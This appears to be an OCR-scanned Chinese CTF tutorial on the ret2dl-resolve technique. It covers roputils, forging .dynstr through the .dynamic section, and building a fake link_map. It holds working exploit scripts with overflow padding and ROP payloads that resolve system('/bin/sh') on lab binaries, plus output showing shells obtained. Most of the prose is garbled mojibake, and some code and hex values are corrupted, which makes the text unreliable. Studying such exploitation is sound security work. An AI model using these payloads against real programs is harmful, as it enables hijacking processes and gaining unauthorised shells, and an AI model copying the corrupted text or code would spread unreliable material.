(DT_VERSYM) 190, MMILEFFIXIRKET. M 1->1_info[VERSYMIDX (DT _VERSYM) ]7ZEGA ARG BFAE | ink
map+0x1c8 (WTRZAY, 32 9! ink_map+Oxed), FRIAFR(IEZEMEE | ink _maptthiitFI& | ink_mapE 590
AL TN Hret2dl-resolve 532/ N Hret2dI-resolveff T _EiR— LTk 2 5), expid&ERIEHEEMF AKX
A, TELEACAFESAR, ELBBIAT 00T M.

1B L3RG, ret2di-resolveXd FRAATFEEMKMEL, &AFull RELROGNRFF/E TFull RELRO, FRERFFEI%
STEBITEIE SRR, WA EE _dI_fixupT) BE—/EHHERHHIE (FTE T stack pivotEiFtk
|2 &ttt WIEFEEER . BERIIMN EEN64iret2d|-resolve AT IAF BB A FUHEE | i nk_map ittt
FeeSERFIA, FR2EFRiEt UL INEHMEE. MREI T AEEHENRERIER, TIOEE
IERAXMERT, BHRIVZELNRE? BETRAILBTERIEN B —ERNREBHEEN S FE.

| 0x04 EMROPUtilsEL TS

M EE32 FIOAN I IR TR AT A MR LR, RAMEpay loadf)iTF2RE DI, BELR EXEBSKRBH
BAMEEEN, BMNEE2TUECSHRENFER— N REHITER. 2%, RIEATUAH—ETHA, &E
ERAANABSITHE. 2/, RiENME—1E8M, REFERRPBAITIEROPUti Is (https://github. com/
inaz2/roputils)

X NpythonEERIEE N THEWAY, NNABXHE, MARBEEFLESEHT . PEXHRNHREEFME.
FEZEE K Broputils. py, XIS NS HEIH R FOEEROP*MFormatStriX JL NS, FIFROPutils
HIRE T H A TR LR . HR, EEADHHRIR SN B ret2di-resol vefH XA —LE R A A
&, BB HFE ZHNE.

FATTAEE roputi |s. pyA B2 SRR MER — N XERTUEREFAIIIEE. LL7/XMAN
2016-level3/level479ffl, HELFKA TS &M ake dl-resolve F RN —EBEFHITHENFEF, RINNREHRME
B 1 ink_mapFr7Edbit 2 %0, EbIEEMAE ASEIEN_dI_fixupBl Al FEA1ERE—PHKEL, EHread
JEEVAIERY | ink_mapZ. bssH,

from roputils import *

#ATEHLE G Z MR, XANMALIBRFERAroputi IsHHIREE. WMRFZFEMpwntool sFRAIREZEEAE
import roputilsHTimport pwn, LA{FESroputilsdHIROPTE 3 pwntoo | s HIROP

rop = ROP('./level4') #ROPZ /& TELFZE, THEHRIsection, got, plt&ER=IEFH
REHFE

bss_addr = rop. section('.bss")
read got = rop. got('read")

132

| EFREHISET VER
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read plt = rop.plt('read"')

offset = 140

io = Proc(host = '172.17.0.2', port = 10001) #roputi s XBEEEERIEESHZ

buf = rop. fill (offset) #fi || T E IR TR

l?ijf += rop.call (read plt, 0, bss_addr, 0x100) #eal | AT PUEIT AN B HHp | Lt 5 (@ b3k T
Z)Hufzj+= rop.dl_resolve call (bss_addr+0x20, bss_addr) #d| resolve cal | B—E#basefi—

MNANESH T |FR*args. base ATAER | ink_mapFT7EtblE, *args HEGBAHIIFARANIBNSH. XB
A& " /bin/sh\x00" L& fEbss_addr&l, |ink mapfil & 7Ebss_addr+0x204k

io.write (buf)

SRIEFATEIERJ] _resolve data% B {AIERY | ink_mapFt &%
buf = rop.string('/bin/sh")

buf += rop. fill (0x20, buf) #HINRTI I NEZNSHIWIEE, HEATRE_INSEHZ
HFFFRIEREREKE
buf += rop.dl_resolve_data(bss_addr+0x20, 'system') #d|_resolve_datafJSHtBIEE E &R,

B—NSHEMNER | ink_mapgrithilt, EZANSHIERERIEREZ
buf += rop. fill (0x100, buf)

io.write (buf)
REBATEIZEFER io. interact (0) FLATLAFT FF—

>>> jo.interact(e) #2Ehosi™ T

Ashel I T,

# s
core fake dynstr32 flag.txt level3 level4 1linux server test.c

X Froputi IsEIFERASE Heithub B FEF Hexamples, HAZ&SIIZFABIREXT A roputi | sSiERIE
Ko

0x05 E£.dynamicTidpthis.dynstrisitit

1E32{IMret2dl-resolve—THFR(IB L LI, ELFF L /NBAATELRE, I®E. rel.plt. .dynsym .dynstr=
NMEEMHEXWTHXIATTE. RMELFXHFE—. dynamicT, HEFRETIHSEERFATENER
FE, MINIE. dynstrb B FIXEREKEFEEPHI—.

:~# readelf -d fake dynstr32

Dynamic section at offset 0x660 contains 24 entries:
iR id e B /e
0x00000001 (NEEDED) H=E : [libc.so0.6]
0x0000000¢ (INIT) 0x80482c8
0x0000000d (FINI) 0x8048504
0x00000019 (INIT_ARRAY) 0x8049654
0x0000001b (INIT ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049658
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
AxAffffafs (GNILL_HASH) AxRA4RIAC
0x00000005 (STRTAB) 0x804821c
0x00000006 (SYMTAB) ox8b48lac
0x0000000a (STRSZ) 86 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0xe
0x00000003 (PLTGOT) 0x8064974c
0x00000002 (PLTRELSZ) 32 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482a8
0x00000011 (REL) 0x80482a0
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
ox6ffffffe (VERNEED) 0x8048280
ox6fffffff (VERNEEDNUM) 1
ox6ffffffe (VERSYM) 0x8048272
0x00000000 (NULL) 0x0
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EENE, NR—PMIEFEEFHFZBRELRO (Blchecksec i 7mNo RELRO) . dynamic 2RISR, (Partial RELRO
a“DFull RELROA?{"EF?JH?SZEHJZH'J‘ E dynamlchT_I'ﬁ Iltl:R readeIfLTEﬁT%&T_ﬂfEF

[22] .dynamic DYNAMIC 08949660 000660 0000e8 08 WA 6 e 4
e REAC : :

'08049620 08049708 R

Er T L ey ey v

. dynamicTi R R B EEI£32/64_DynfE AL BRI R, X NEMEE N fEglibc/elf/elf. h TN
typedef struct

{

EIf32_Sword d_tag; /* Dynamic entry type */
union
{
EIf32 Word d_val; /* Integer value */
EIf32_Addr d_ptr; /* Address value */
} d_un;
} EIf32 Dyn;

typedef struct

{

Elf64 Sxword d_tag; /* Dynamic entry type */
union
{
Elf64 Xword d_val; /* Integer value */
Elf64 _Addr d_ptr; /* Address value */
} d_un;
} EIf64 Dyn;

MWERERIE AT AR HEB— 1N d_tagfl—unionZERIERL, unionF AN T ELKEEERI_tag
T, FfliBidreade| fE—T. dynstriid tag
:~# readelf -d fake dynstr32

Dynamic section at offset Ox660 contains 24 entries:
1718 - i a2 /E
0x00000001 (NEEDED) H=E : [libc.so0.6]
0x0000000c (INIT) 0x80482c8
0x0000000d (FINI) 0x8048504
0x00000019 (INIT ARRAY) 0x8049654
0x0000001b (INIT ARRAYSZ) 4 (bytes)
0x0000001a (FINI ARRAY) Ox8049658
0x0000001c (FINI ARRAYSZ) 4 (bytes)
AxAffffefs (GNIL_HASH) AXRA4ARIRC
0x00000005 (STRTAB) 0x804821c
Ox00000006 (SYMTAB) Ox80481ac
0x0000000a (STRSZ) 86 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) oxe
0x00000003 (PLTGOT) 0x804974c
0x00000002 (PLTRELSZ) 32 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) Ox80482a8
0x00000011 (REL) 0x80482a0
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
ex6ffffffe (VERNEED) 0x8048280
Ox6fffffff (VERNEEDNUM) 1
oxeffffffe (VERSYM) 0x8048272
0x00000000 (NULL) axe



QEMIE

| EFRATHIEETEH

HFRIZA0x05, unionTE TR A{E0x0804820c, F{1E—THEF. dynamicTiH. dynstr X HIEI£32_Dyn

i*ff’JMS%D?E%Ha B2 HE -

Fake dynstr32 380!49698 dtl
fake_dynstr32:0804969C dd

fake_dynstr32:080496A0 dd 5

fake_dynstr32:080496A4 dd
Eke . duncra 09@hQ408] Al

G804821C @@ 6C &9
B804822C 74 64 &9
0804823C 6D 73
B804824C 63 SF 73
0804825C 6D 6F 6E
G804826C 43 SF 32
G804827C @2 o8 M

Eit, #HMRF

62
6E

63
5F

a1

2E 73
75 73

6FFFFEFSh
offset unk_804818C

offset unk_804821C

v ou  wv v Be BE 11 LY 1B BT sassssssasass=as

6F 2E 36 00 5F 49 4F 5F 73 .libc.so.6._ID s
65 64 00 65 78 69 74 00 6D tdin_used.exit.m
65 61 64 80 5F 5F 6C 69 62 emset.read._ 1ib

SF 6D 61 69 6E 88 SF 5F 67 c_start_main. g
72 74 SF SF B0 47 4C 49 42 non_start_ .GLIB
00 02 00 00 00 02 00 02 PP C 2.8...........
60 ©01 00 00 00 10 00 00 B0 ...... .. icanna

BREMBEEEFPNAFEED— P RBITERERS, FROFATLUZR. dynstr T R4

fRehiiil, MAmfEEEEILAVAER. dynstr B3R, HMEBATHEHMERERT LRI ZR R

BAVAS2LHAERF A9, $TH/Fake _dynstr32/fake_dynstr32
Mmoovacw o HEA vIioWw 4 (SR LSRR PN L=l e [*~ ]
.text: 68648448 public uuln
.text:08048448 juln proc near ; CODE XREF: main+11yp
.text:0804844B
.text:0804844B S = byte ptr -12h
.text:0804844B
.text:0804844B push ebp
.text:0804854C mov ebp, esp
.text:0804844E sub esp, 18h
.text:08048451 sub esp, 4
.text:B804845, push 8ah H |
.text:B8048456 push ] H
.text: 08848458 lea eax, [ebp+s]
.text:B804845B push eax HE
.text:080484L5C call _memset
.text:08048461 add esp, 16h
.text:08048464 sub esp, &4
.text:08048467 push 2ah ; nbytes
.text:080U8469 lea eax, [ebp+s]
.text:B804846C push eax ; buf
.text:B804846D push ;] ; Fd
-text:B80uBLGF call _read
.text:08048474 add esp, 16h
-text:08048477 nop
.text:0804BLTE leave
-text:08048479 retn
.text:08048479 vuln endp
text:o80uB479
.text:0804847A
.text:0BOUBATA ; =============== S UB RO U T I NE ========ss==========s==s================
.text:0804847A
.text:0804847A ; Attributes: noreturn bp-based frame
.text:0804847A
.text:0804847Aa ; int _ cdecl main{int argc, const char ==xargv, const char ==enup)
.text:p804847A public main
.text:0804847A main proc near ; DATA XREF: _start+17To
.text:0804847A
.text:0804847A argc = dword ptr BCh
.text:0804847A argu = dword ptr 16h
.text:B804847A enup = dword ptr 14h
-text:o80u847A
.text:p8BUBLT7A lea ecx, [esp+4]
.text:B8048N7E and esp, BFFFFFFFBh
.text:088u8481 push dword ptr [ecx-4]
.text:B8BUBLBY push ebp
.text:08048485 mov ebp, esp
-text:B80uBLBT push ecx
.text:08048488 sub esp, 4
.text:B8048488 call vuln
-text:08048490 sub esp, OCh
-text:08048493 push ; status
.text:B8048495 call _exit
.text:08048495 main endp

-text:B08048495
.text:B08048495
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[*]1 '/root/fake dynstr32'
Arch: i386-32-1little
RELRO:

Stack:
NX:
PIE:

XMEFHE T RINEZEN—IEZMHE—No RELRO, #HiGHLZEEvuInd, exit AR, ELEImATATIL
AR AFEHITRT . EABIMEAENEFENERELR, FHEexitEHMsysten

call_exit_addr = 0x08048495

read plt = 0x08048300

start_addr = 0x08048350

dynstr_d _ptr_address = 0x080496a4

fake_dynstr_address = 0x08049800

fake_dynstr_data = "\x00Iibc. so. 6\x00_10_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\
x00_ libc_start main\x00__gmon start_ \xOO0GLIBC 2. 0\x00"
FAEHTmemset I — A th SifisystemBERE, HAIROZIER KIS LE N \x00, FHLEEEAMATSHEE
$8I1R. memsetEA TR Eread RBUEITZRIEITH, FILENFTSEREAT, T ESRE.
FETRFEAVIIIBEROPHEMOR BN A& R dynstr F 77 B FEARTFEE | £32_Dyn Al

io = remote ("172.17.0.2", 10001)

payload = ""
payload += "A'*22 #padding
payload += p32(read plt) #E2L. dynstr 3T RZAYEI£32_Dyn. d_ptr

payload += p32(start_addr)

payload += p32(0)

payload += p32(dynstr_d_ptr_address)
payload += p32(4)

io. send (pay | oad)

sleep (0. 5)

io. send (p32 (fake_dynstr_address)) #3#1HY. dynstr itk

sleep (0. 5)

payload = ""

payload += 'A'*¥22 #padding

payload += p32(read plt) HEREFEFRRE—IR. dynstr FHFEH

payload += p32(start_addr)
payload += p32(0)
payload += p32(fake dynstr_address)

payload += p32(len(fake_dynstr_data)+8) #HHKEZ. dynstrfil £8, #"/bin/sh\x00"{E7E/GE
io. send (pay | oad)

sleep(0.5)

io. send (fake_dynstr_data+"/bin/sh\x00") #8/bin/sh\x00FEE FH

sleep (0. 5)

HERT IR T R Blex i tR AR, BAVBERIENSRAET. dynstr, FHEFAexitBIm T system, FE iR
HE_d|_fixupBI/RIE, LAY R EIE SR Tsystemf & Hilit IR BB system .
>> io.interactive()

[*] Switching to interactive mode

Ls

core fake dynstr32 flag.txt 1level3 1level4 1linux server test.c

M THFA ARSI THRAXS, HLTEBHITIERD .

0x06 fake link_map

AT &MRIPAANE N, TAERMEN RELROMIEFELRLD T, Eit EVPMRMBESRER LB
HA%Z, FARTHRMNNEZI—MAFR LRG| ink_mapL5FHITH S
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ERTEMNERE S, RNFELREAEPERBITZNRKE _dI_FixuplRIEZF AT SI—N5
¥
_dl_fixup (
# ifdef ELF_MACHINE RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNT IME_F IXUP_ARGS,
# endif
struct link map *I, EIfW(Word) reloc arg)

------------ /IEEBEN, MRNEE
if (_builtin_expect (ELFW(ST_VISIBILITY) (sym—>st_other), 0) == 0) //FIBiR#SBEHIEITIL.
LRI FHRAT—E I BRI A R A ZE49M8, ERLUX B AT FIR48 B
result = _dl_lookup_symbol_x (strtab + sym—>st_name, |, &sym, |->|_scope,
version, ELF RTYPE CLASS PLT, flags, NULL);

/* We already found the symbol. The module (and therefore its load
address) is also known. */

value = DL_FIXUP_MAKE_VALUE (I, |->I_addr + sym—>st_value) ;

result = |;

BT FERRAMTUARR A8 FENEFIE R B ETWBMTIER, MREHEHEBEITIL, _dI_fixupgiF
2YHF_d1_lookup_symbo | xFTEREFITERENM, MEEERITHEDL FIXUP_MAKE_VALUETTE H LR, Xik
FZ)T link_mapBIR R E | _addr FIEI£32/64_SymiIpk AL Est_value. XEAY|_addr 2 SEFRERETHEHEFN R
RIBEHIBRET BRI E(E, st_valuelRIBXNNTHRSMEBIRNE N . FTEEXERNHATCTEXLIBA
%, BAMREEMEWMRILAIEEFE1->1_addr + sym—>st_valuetgE— PR ERFRHISEFRUE, A4
HEMNAMEERERIX AR L. BREIEEKT, MRBNIFET systemERNFHAISIFRIBHIE, FNAIZERBA
R kS B system EIR? FTAZREZHANIAFE. HNFEMAIRZILI->1_addrFlsym—>st_valueH
Z— %ot RIENCEBAMIEE L (A0 libc_start_main) , MIHB— % E Asystemik EFIX K E
HIRTZ1E. BESRAFKMERAIE T | ink_map, ABARSR|_addr2FKATATLUTHIAY, MsymiBRIEFRAIRERE 94,
ERNEREHEZM ink_maph3REH (REFHXHbE, B3E. rel.plt, .dynsym, dynstr#BEMNHEVE, &
SRS AT AT EL BT Y | ink_map#iE 5iERDFHITES])
const EIfW(Sym) *const symtab

= (const void *) D PTR (I, | _info[DT_SYMTAB]) ;

const char *strtab = (const void *) D PTR (I, | _info[DT STRTAB]) ;

const PLTREL *const reloc
= (const void *¥) (D PTR (I, | _info[DT JMPREL]) + reloc_offset) ;
const EIfW(Sym) *sym = &symtab[ELFW(R _SYM) (reloc—>r_info)];
gu&ﬁﬁﬁﬁm%ﬂuﬁﬁ%ﬁo%NRE&M%EHM%WK,ﬁ%ﬁﬁwﬂm%ﬂﬁﬁ@ﬁZ@%ﬁ
T
RENXEFEEBASEE], BERMIEN ink_mapABAFE, AN AT ATERIEAI I -resolve P HIEA
& dynstrigitbil, MEBET—RRUKAKEZIREE|systemle? FH1RE—T LEAXITRE
result = _dl_lookup_symbol_x (strtab + sym—>st_name, |, &sym, |->|_scope,
version, ELF RTYPE CLASS PLT, flags, NULL);
RIBALTFelibe/include/Link. hnB 1 ink _mapZE#fRE N, XEH| scope—/ B! ink_mapi&EikSoHE
B, BATA I ink_mapZEERIE X ATAFHRAELX 22— MR, B— ink mapt ZERE T —1 &
HENEE. SERENTSHE, SMRLRBTERENNER, A MREESHITHERD. B2,
AN ATREFIE | ibcBY | ink_mapitbilk, FTLAFANIEINEAE | _scope, HFLIRINEMEEEAink_maplFiRiz



DEME | f

#HA_dI_lookup_symbol_x, REEIZIFILRIZHN “RBEHEAT” WX

BZFE5, HMNATILRBRIELT dI_lookup_symbol x, @AF{HiEsym{E{SELFW (ST VISIBILITY)
(sym=>st_other), 0) == 0, R#FsymBIENX, FHAIFLE{AiEsymtabFreloc—>r_info, ERLAFAIEMHE
DT_SYMTAB, DT_JMPREL, itt5), Ffi1iGfhiEstrtabigmlistithlit, PrLALIS{AIEDT_STRTAB, FRIAFRNIRE
A& | ink_mapRIOxf8 N FEFRIEIE, FTEXENDARZALT | ink_map+0fJ1_addr, {7 Iink_map+0x68H]
DT_STRTABiE%t, fiF|ink_map+0Ox70HIDT_SYMTABIE4TH0{L T | ink_map+OxF8HIDT_JMPRELIE$T. LEIl, FHAil
FEINIEE| f64_SymZEtaK, EIf64 RelaZEtiff, AT DT_JWPRELIEMEHIRE|f64 DynZEiaik, HAIHHE
HE— N XFERILEIR. YR, FH1Bikreloc offset 0. HTHEMISE, FHATTLLEEILI->| addr
HEBTREAFHU FsystemfI RS, sym>st_value B IRITHIR B A93E5T-8, BlHeotFRIN-8

o (XEBDIEBEBHINFEHRERIM LR, BER2IFXHAHELISLR R ES+8, FEEARR) Hi1HERZLL™/XMAN
2016-level3 64/ level3 641 HI#ITHHT.

HRKIRKME— N fake |ink_map

fake link_map_data = ""

fake |ink _map _data += p64 (offset) # +0x00 | addr offset = system —
libc_start_main

fake | ink_map_data += '\x00'*0x60

fake |ink _map_data += p64 (DT_STRTAB) #+0x68 DT_STRTAB
fake |ink _map_data += p64 (DT_SYMTAB) #+0x70 DT_SYMTAB
fake | ink_map_data += '\x00'*0x80

fake |ink _map _data += p64 (DT_JMPREL) #+0xf8 DT_JMPREL

EERink_map#IRE T HRMNBA LRAWET . IR\HNSH, HNBLROANSFHHIEX ARER
MR RHHE, EAERoEE AO.

BETREAMAE L =N

fake EIf64 Dyn = ""

fake EIf64 Dyn += p64(0) #d_tag

fake EIf64 Dyn += p64(0) #d_ptr

fake EIf64 Rela = ""

fake EIf64 Rela += p64(0) #r_offset
fake EIf64 Rela += p64(7) #r_info
fake EIf64 Rela += p64(0) #r_addend
fake EIf64 Sym = ""

fake EIf64 Sym += p32(0) #st_name
fake EIf64 Sym += 'AAAA’ #st_info, st _other, st shndx
fake EIf64 Sym += p64(main_got—8) #st_value

fake EIf64 Sym += p64(0) #st_size

SERBANNDIIBr_infolR BRTLUBTARE . J T EELFW(ST_VISIBILITY) (sym—>st_other) AN JJOMTIHRIT_
dl_lookup_symbol x, F{1EIEMst otheri% & HIEO. st_other A 9IEOLLEEFF dI_lookup_symbol x,
HANBNEFEEND .

HATFEZEIfake_| ink_map B FIFZ A\x00EFAIZ (6], XLeth 5 S B EZMmMIELNMNEE, Hik
HMNFTAFAZE, B=DMEEEIR/bin/sh\x00H Ei# X

offset = 0x253a0 #system — _ libc_start main

fake EIf64 Dyn = ""

fake E1f64 Dyn += p64(0) #d_tag
Mlink_mapH#k. rel. p t N HEREIFRE, MREE
fake EIf64 Dyn += pb64(fake |ink_map_addr + 0x18) #d ptr $EEHE

HUE |64 RelaZ&#af, BaFreloc_offsetth#iisHlA0, PEEEZ NG

fake EIf64 Rela = ""
fake EIf64 Rela += pb64 (fake |ink map_addr — offset) #r offset rel_addr =
|->addr+reloc_offset, EHiEfg[alfake |ink mapPR7EL B S HAIEERIT



QEME

fake EIf64 Rela += p64(7) #r
info indexi®E N0, RE—FTHuAMmAT

fake EIf64 Rela += p64(0) #r
addend MERE

fake_EIf64_Sym = ""

fake EIf64 Sym += p32(0) #st
name EERE

fake EIf64 Sym += '"AAAA' #st
info, st_other, st_shndx st_otherdEOLLERFENZEEMFT SN X

fake EIf64 Sym += p64 (main_got—8) #st_value
C TR got M-8, —SIAITE LKL, [REEARRR

fake EIf64 Sym += p64(0) #st
size MESE

nwn

fake_ | ink_map_data =
fake_link_map_data += pé4 (offset) #1_addr, {AEAFEA BRI E
fake_link_map_data += fake_EIf64 Dyn

fake | ink_map_data += fake EIf64 Rela

fake |ink_map_data += fake EIf64 Sym

fake |ink_map_data += '\x00'*0x20

fake link_map_data += p64(fake |ink_map_addr) #DT_STRTAB RERN—NAE
saps kil
fake_link_map_data += p64(fake_|ink_map_addr + 0x30)#DT_SYMTAB 5 EXT R LSRR S 2B gY b b

fake_link_map_data += "/bin/sh\x00"

fake_|ink_map_data += '\x00'*0x78

fake link_map_data += p64(fake |ink _map_addr + 0x8) #DT_JMPREL 35 (a3 B 2 2B 4544
N opiuhily

MERNFTEBNARRHENEE, MHESHHEE I _fixupT. BIFAEFHR, _dI_fixupiitthEgotFTFH
F2I, BROMEXRE—MRET REHUEA b, FATEERER ERretibid £, HEEBHR—XA
ftgadgetsi3? A, FHATATLLUEEX A

Pit-voouwoououTOUTY

.plt:D00ODOODOOLOBLAD Loc_LOD4AD: ; CODE XREF: .plt:0000000D004004EB]]
.plt:000ABAOOBBLABUAB push  cS:off 600ALS
.plt:00000000004084A6 jmp cs:off_|600A50

-plt:00000000004004A6 ;
.plt:00000000004004AC db BFh

X TIE S MBS |, MretB A MG fix up. MERNEEMERSNFT, REMT{IALE
3k, pwn it!

:~# python exp fake linkmap.py
[+] Opening connection to 172.17.6.3 on port 10001: Done
Switching to interactive mode

flag. txt linux serverx64 readable
bugsbunny.txt fake dynstr64 level3 x64 pwnl50 LesStaC

ZRI)VBH0 I RRIS R L PR ER S T &
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